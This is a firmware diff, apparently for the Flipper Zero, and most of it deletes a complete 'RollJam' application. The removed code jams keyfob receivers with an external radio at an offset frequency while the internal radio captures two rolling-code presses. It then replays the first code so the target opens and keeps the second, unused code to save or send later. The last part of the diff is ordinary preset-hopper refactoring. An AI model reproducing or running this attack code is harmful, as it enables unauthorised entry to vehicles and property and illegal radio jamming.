furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

View File

@@ -1,31 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

View File

@@ -1,215 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
// Defaults
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

View File

@@ -1,143 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// ============================================================
// Jam offset: external CC1101 transmits at target + this offset
// Victim receiver (wide BW ~300kHz) sees the jam
// Our internal CC1101 (narrow BW ~58kHz) rejects it
// ============================================================
#define JAM_OFFSET_HZ 700000
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
uint32_t frequency;
uint32_t jam_frequency;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 B

View File

@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

View File

@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

View File

@@ -1,101 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -1,107 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -1,70 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Small delay for radio settling
furi_delay_ms(150);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

View File

@@ -1,17 +0,0 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -1,94 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 2) {
// "Start Attack" item
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -1,111 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

View File

@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -9,7 +9,6 @@ App(
"nfc",
"subghz",
"subghz_bruteforcer",
"rolljam",
"archive",
"subghz_remote",
"main_apps_on_start",

View File

@@ -6,7 +6,7 @@ App(
requires=["gui","dialogs"],
stack_size=2 * 1024,
order=11,
fap_icon="images/subbrute_10px.png",
fap_icon="icon.png",
fap_category="Sub-GHz",
fap_icon_assets="images",
)

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@@ -1,5 +1,6 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
@@ -34,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
instance->txrx_state = SubGhzTxRxStateSleep;
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
instance->preset_hopper_idx = 0;
instance->preset_hopper_timeout = 0;
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
subghz_txrx_set_debug_pin_state(instance, false);
@@ -494,52 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
#define SUBGHZ_MOD_HOPPER_DWELL_TICKS 3
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
return instance->mod_hopper_running;
}
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running) {
furi_assert(instance);
instance->mod_hopper_running = running;
if(running) instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
}
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance) {
furi_assert(instance);
if(!instance->mod_hopper_running) return;
if(instance->mod_hopper_timer > 0) {
instance->mod_hopper_timer--;
switch(instance->preset_hopper_state) {
case SubGhzPresetHopperStateOFF:
case SubGhzPresetHopperStatePause:
return;
case SubGhzPresetHopperStateRSSITimeOut:
if(instance->preset_hopper_timeout != 0) {
instance->preset_hopper_timeout--;
return;
}
break;
default:
break;
}
instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
size_t count = subghz_setting_get_preset_count(instance->setting);
if(count == 0) return;
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
float rssi = subghz_devices_get_rssi(instance->radio_device);
// Advance index, skip CUSTOM presets
uint8_t tries = 0;
do {
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
tries++;
} while(tries < count &&
strcmp(
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
"CUSTOM") == 0);
if(rssi > stay_threshold) {
instance->preset_hopper_timeout = 20;
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
return;
}
} else {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
uint8_t* preset_data =
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
size_t preset_data_size =
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
subghz_txrx_set_preset(
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
subghz_txrx_rx_start(instance);
